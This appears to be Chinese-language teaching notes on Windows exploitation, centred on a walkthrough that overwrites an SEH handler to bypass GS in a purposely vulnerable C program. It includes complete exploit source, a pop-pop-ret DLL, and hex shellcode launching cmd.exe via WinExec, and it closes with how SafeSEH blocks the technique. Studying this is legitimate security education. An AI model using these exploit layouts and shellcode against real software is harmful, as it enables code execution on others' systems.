开场白
漏洞概述
堆栈溢出
堆栈溢出 从例子 讲起
jsp esp 演示利用过程 为什么这个地址非常重要
jmp esp 查找
shellcode介绍
winexec地址查找
总结利用成功
shellcode开发详解
普通shellcode提取
通用shellcode开发
msf shellcode生成 与编码简介
真实例子演示 warFTP 1.6.5 栈溢出利用-Fuzz (在一个大的项目中怎样发现栈溢出)
溢出防御 常见方法介绍
GS堆栈保护
ssh 利用方法 介绍
safeSEH DEP
ASLR
命令注入
SQL注入
目录穿越
不是漏洞的漏洞
od插件列表:http://www.openrce.org/downloads/browse/OllyDbg_Plugins
查找jmp esp 可以使用
findjmp.exe工具
开场白
参与
漏洞概述 - bug与漏洞
bug
随着现代软件工业的发展,软件工程已经成为计算机专业的必须课,软件的规模不断扩大,软件内部的逻辑也变得异常复杂。为了保证软件的质量,测试环节在软件生命周期中所占的地位已经得到了普遍重视。(有很多公司,设定严格的上线流程,必须在QA单元测试,回归测试才能上线, 无论项目多么紧急).
在一些著名的大型软件公司中,测试环节(QA)所耗费的资源甚至已经超过了开发。即便如此,不论从理论上还是工程上都没有任何人敢声称能够彻底消灭软件中所有逻辑缺陷-bug. (为什么出现这种情况? 一个软件开发出来,所走的分支不计其数,测试都是构造case,很难涵盖所有的分支,但是既然代码里面写出来了功能,基本上用户在某些条件上,都会执行到,导致没有测试到)
为什么叫bug? - 世界上第一个bug由来。
Bug一词的原意是“臭虫”或“虫子”。现在,在电脑系统或程序中,如果隐藏着的一些未被发现的缺陷或问题,也称之为“Bug”,这是怎么回事呢?
第一个有记载的Bug是美国海军编程员、编译器的发明者格蕾斯·哈珀(GraceHopper)发现的。哈珀后来成为了美国海军的一位将军,还领导了著名计算机语言Cobol的开发。
1945年9月9日,下午三点。哈珀中尉正领着她的小组构造一个称为“马克二型”的计算机。这还不是一个真正的电子计算机,它使用了大量的继电器,一种电子机械装置。第二次世界大战还没有结束。哈珀的小组日以继夜地工作。机房是一间第一次世界大战时建造的老建筑。那是一个炎热的夏天,房间没有空调,所有窗户都敞开散热。
突然,马克二型死机了。技术人员试了很多办法,最后定位到第70号继电器出错。哈珀观察这个出错的继电器,发现一只飞蛾躺在中间,已经被继电器打死。她小心地用摄子将蛾子夹出来,用透明胶布帖到“事件记录本”中,并注明“第一个发现虫子的实例”。
从此以后,人们将计算机错误称为Bug,与之相对应,人们将发现Bug并加以纠正的过程叫做“Debug”,意即“捉虫子”或“杀虫子”。
漏洞
在形形色色的软件逻辑缺陷中,有一部分能够引起非常严重的后果。例如,网站系统中,如果在用户输入数据的时候没有限制,可以任意输入,将会使得服务器变成SQL注入攻击和XSS(Cross Site Script,跨站脚本)攻击目标; 服务器软件在解析协议时,如果遇到出乎预料的数据格式而没有进行恰当的异常处理,那么就很可能会给攻击者提供远程控制服务器的机会。
我们通常把这类能够引起软件做一些"超出设计范围的事情"的bug 称为漏洞。
功能性逻辑缺陷(bug), 影响软件的正常功能,例如执行结果错误,图标显示错误等。
安全性逻辑缺陷(漏洞), 通常情况下不影响软件的正常功能,但被攻击者成功利用后,有可能引起软件去执行额外的恶意代码。
漏洞挖掘、漏洞分析、漏洞利用
这三部分所用到的技术有相同之处,比如都需要精通系统底层知识、逆向工程等,同时也有一定的差异。
漏洞挖掘:
漏洞分析
漏洞利用
GS防护
GS介绍
利用SEH绕过GS检查,
GS检查是在函数返回时,进行的,如果堆栈溢出了,并且函数没有返回,EIP就已经被控制,这个时候,是不是GS保护就不会生效? 进行实际测试,一段测试代码:
#include "stdafx.h" #include <windows.h> #include <iostream> using namespace std; char ShellCode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; DWORD MyExceptionhandler(void) { cout << "exception, please enter" << endl; getchar(); ExitProcess(1); return 0; } void test(char *input){ char buf[200]; int zero = 0; _try{ strcpy(buf, input); zero = 4/ zero; //除数是0导致seh异常 }_except(MyExceptionhandler()){ } } int main(int argc, char* argv[]) { test(ShellCode); return 0; }
编译,链接,运行:
成功捕获到异常,直接退出,正常流程。
不断增加输入大小,直到输入220多个90后程序报错:
// seh.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <windows.h> #include <iostream> using namespace std; char ShellCode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" ; DWORD MyExceptionhandler(void) { cout << "exception, please enter" << endl; getchar(); ExitProcess(1); return 0; } void test(char *input){ char buf[200]; int zero = 0; _try{ strcpy(buf, input); zero = 4/ zero; }_except(MyExceptionhandler()){ } } int main(int argc, char* argv[]) { test(ShellCode); return 0; }
执行后效果。
没有捕获到异常,程序崩溃,显示的是系统默认异常处理。
使用od挂载进行调试分析,首先定位到main函数,(ctrl+G输入main 回车)
继续进入到函数0x00401078内,正是我们写的test函数
查看test函数体,向下查找,找到strcpy函数位置设置断点.
按F9,继续执行,直到运行到0x401507,停下来,观察堆栈空间,
拷贝的目标地址是0x0018FE10, 查看SEH链地址(View -> SEH chain)
查看SEH链地址,第一个seh地址 为0x0018FEE0
查看栈地址
next SEH 地址0x0018FEE0, 我们的目标是覆盖SEH返回地址 即0x0018fee4, 因此需要覆盖的地址空间为 0x0018fEE4 - 0x0018FE10 = 0xD4 = 212, 本程序输入220个字符,锁定当前堆栈空间,单步(F8) 执行strcpy函数后,查看堆栈SEH变化,如下图:
SE handler已经被覆盖。继续执行,弹出报错对话框
发现可以控制eip地址,精确定位se handler位置,重新布局输入的数据,如下所示:
// seh.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <windows.h> #include <iostream> using namespace std; char ShellCode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" //net pointer "\x41\x41\x41\x41" // se handler "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" ; DWORD MyExceptionhandler(void) { cout << "exception, please enter" << endl; getchar(); ExitProcess(1); return 0; } void test(char *input){ char buf[200]; int zero = 0; _try{ strcpy(buf, input); zero = 4/ zero; }_except(MyExceptionhandler()){ } } int main(int argc, char* argv[]) { test(ShellCode); return 0; }
如上一步调试,执行完strcpy后,看看堆栈空间情况,
此时,需要在SE handler处存放一个地址,这样异常后,会跳转到该地址进行执行。
怎样利用seh句柄达到执行shellcode目的?
首先,在strcpy 拷贝之后,设置断点,观察
SE handler 需要填写一个地址,当继续执行触发异常后,那么从se handler位置获得一个地址,并且跳转过去,执行,因此,我们将该地址修改为一个可以正常跳转的地址,比如 0x0040151B,在堆栈空间选择41414141,右键选择modify
填写,0x40151B
点击ok。修改后在0x0040151b设置断点
F9继续执行,直到EIP指向到0x0040151B为止,如下图所示:
当前 esp = 0x0018F824, esp+8的位置为 0x0018FEE0, 正是我们覆盖掉的SEH指向下一个异常处理的指针。在堆栈上选中,0x0018FEE0, 点击Follow in Stack。
跳转到0x0018FEE0的堆栈空间,查看如下,
正是刚才修改过的,被覆盖的SEH地址。说明跳转到异常处理后,堆栈空间+8的位置即为 我们可以控制的填写任意数据的地址空间。如果SE handler地址的代码为 pop,pop,ret那会发生什么?我们修改0x0040151b的代码为
pop edi,pop edi,retn
继续执行 F8,F8
当执行到retn时,堆栈esp的值为0x0018FEE0, 继续执行F8
EIP已经指向0x0018FEE0, 如上图所示。目前该地址的值为90,空指令。如SEH的结构可知,该地址的接下来4个地址是SE handler, 在向下是我们可以精确控制的数据包,因此如果我们将拷贝的数据包,修改成如下格式
208个空指令+4个字节(jmp 4)+SE handler(指向pop,pop,ret)+shellcode地址
jmp 4指令 通过od查看
为EB 04,因此4字节为9090eb04. 构造一个pop,pop,ret指令. 为了演示,我们创建一个dll(新建->工程->win32 Dynamic),代码如下:
__declspec(dllexport) void set_pop_pop_ret(); void set_pop_pop_ret() { __asm { push esi push edi pop edi pop esi ret } } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { return TRUE; }
导出一个set_pop_pop_ret函数,编译,链接后生成一个dll文件。
生成一个dll文件。如下图所示:
需要将该dll导入到目前的测试代码中,如下图:
加入如下测试代码,将dll导入到本项目
HANDLE h = LoadLibraryA("poppopret.dll"); if(h!= NULL){ printf("yes"); }
重新生成测试程序,使用od加载,同样暂停在strcpy位置。点击右上角M查看本程序加载的所有模块(dll)
poppopret模块已经加载进来,并且基地址是0x10000000.点击其.text节点。
共两个函数,跳转到set_pop_pop_ret查看代码,
可以看到pop,pop,ret地址为0x1001501a,修改后的代码如下:
// seh.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <windows.h> #include <iostream> using namespace std; char ShellCode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\xeb\x04" //net pointer "\x1a\x50\x01\x10" // se handler "\x90\x90\xcc\x90\x90\x90\x90\x90\x90\x90" ; DWORD MyExceptionhandler(void) { cout << "exception, please enter" << endl; getchar(); ExitProcess(1); return 0; } void test(char *input){ char buf[200]; int zero = 0; _try{ strcpy(buf, input); zero = 4/ zero; }_except(MyExceptionhandler()){ } } int main(int argc, char* argv[]) { HANDLE h = LoadLibraryA("poppopret.dll"); if(h!= NULL){ printf("yes"); } test(ShellCode); return 0; }
重新运行,在strcpy断下,F8查看堆栈上布局,
SE handler已经被覆盖为0x1001501a,并且跟进查看该地址代码
在0x1001501a设置断点,F9继续运行,
EIP指向0x1001501A,继续执行,
跟预期相同,跳转到堆栈地址空间继续执行,jmp 4后跳转到shellcode继续执行
目前看跟预期一样,堆栈上布局完全可控,并且调整到shellcode进行执行。此时,直接生成一个shellcode即可。添加上我们通用的shellcode
// seh.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <windows.h> #include <iostream> using namespace std; char ShellCode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\xeb\x04" //net pointer "\x1a\x50\x01\x10" // se handler "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45" "\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6" "\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78" "\xC6\x45\xFE\x65\x6A\x01\x8D\x45\xF8\x50\xBA" "\x31\x32\x1F\x75" "\xFF\xD2\xC9"; ; DWORD MyExceptionhandler(void) { cout << "exception, please enter" << endl; getchar(); ExitProcess(1); return 0; } void test(char *input){ char buf[200]; int zero = 0; _try{ strcpy(buf, input); zero = 4/ zero; }_except(MyExceptionhandler()){ } } int main(int argc, char* argv[]) { HANDLE h = LoadLibraryA("poppopret.dll"); if(h!= NULL){ printf("yes"); } test(ShellCode); return 0; }
获得完整代码,直接在0x0018FEDC处设置断点,如下所示,
跳转到shellcode继续执行
shellcode功能执行一行代码WinExec(cmd.exe)
执行后效果如下:
说明shellcode正常执行。
总结
SEH的利用不依赖函数返回地址,而是覆盖掉了SE handler地址,在函数返回之前,触发程序异常。
SEH利用依赖pop,pop,ret指令,由于该地址不是很好找,因此我们使用自己构造进行演示
本程序布局 208个空指令+4个字节(jmp 4)+SE handler(指向pop,pop,ret)+shellcode地址
疑问?
如果我自己要是攻击别人软件,难道还需要自己写个pop,pop,ret dll程序,加载进去,再去执行么?这怎么可能? 是否可以找到一个系统dll,里面包含pop,pop,ret指令,作为跳转地址?由下图可以知道编写的pop edi,pop esi,retn的opcode是5f 5e c3,我们视图 在系统dll里面搜索这段代码。
首先,打开M对画框,查看各个模块地址空间
我们知道.text是代码段,点击进去
并且,开始搜索 (Ctrl+B) 输入5F 5E C3 , 点击ok开始搜索,
发现在0x7517D635处存在pop,pop,retn指令。那么是不是将pop,pop,retn地址修改为0x7512d635即可。赶快开始测试。修改代码如下:
// seh.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <windows.h> #include <iostream> using namespace std; char ShellCode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\xeb\x04" //net pointer //"\x1a\x50\x01\x10" // se handler "\x35\xd6\x17\x75" "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45" "\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6" "\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78" "\xC6\x45\xFE\x65\x6A\x01\x8D\x45\xF8\x50\xBA" "\x31\x32\x1F\x75" "\xFF\xD2\xC9"; ; DWORD MyExceptionhandler(void) { cout << "exception, please enter" << endl; getchar(); ExitProcess(1); return 0; } void test(char *input){ char buf[200]; int zero = 0; _try{ strcpy(buf, input); zero = 4/ zero; }_except(MyExceptionhandler()){ } } int main(int argc, char* argv[]) { HANDLE h = LoadLibraryA("poppopret.dll"); if(h!= NULL){ printf("yes"); } test(ShellCode); return 0; }
执行完strcpy后,查看SE chain情况如下:
SE handler被覆盖成 0x7517d635. 如之前经验,异常之后,会跳转到 0x7517d635处继续运行。
所以在0x7517d635处设置断点,等待运行到此处。
继续执行F9发现程序直接退出了。
抛出了系统默认的异常提示框。说明系统并未向我们设想的那样乖乖跳转到kernel32.dll的pop,pop,ret,为什么呢?引出另一个安全防护功能SafeSEH.
SafeSEH
攻防不断对抗,为了绕过GS防护,攻击者想到利用覆盖SE Handler方法继续执行命令,所以微软在SEH处理上做了检查,就是SafeSEH。首先看我们的例子,怎么判断开启了SafeSEH,下载od的SEH检测插件。
http://www.openrce.org/downloads/details/244/OllySSEH
将其放入到od的插件文件夹plugin中如下图,重启od
即可使用该插件。这时od的插件目录下将会看到多了一个SafeSEH功能
点击 Scan/SafeSEH Modules查看
看到一个对话框,里面第一行有SafeSEH ON 或者SafeSEH OFF, 最后一行对应的Module Name,可以清晰看到kernel32.dll已经开启了SafeSEH保护功能,因此利用覆盖SE Handler地址到kernel32.dll地址是无法覆盖成功的。而我们自己创建的poppopret.dll是没有开启SafeSEH,所以可以覆盖成功。本实验本身就是一个绕过SafeSEH的例子,利用没有开启SafeSEH的模块进行跳转。
那么什么是SafeSEH?
参考文献:
创建pop pop ret的dll库
http://blog.csdn.net/hustd10/article/details/51167971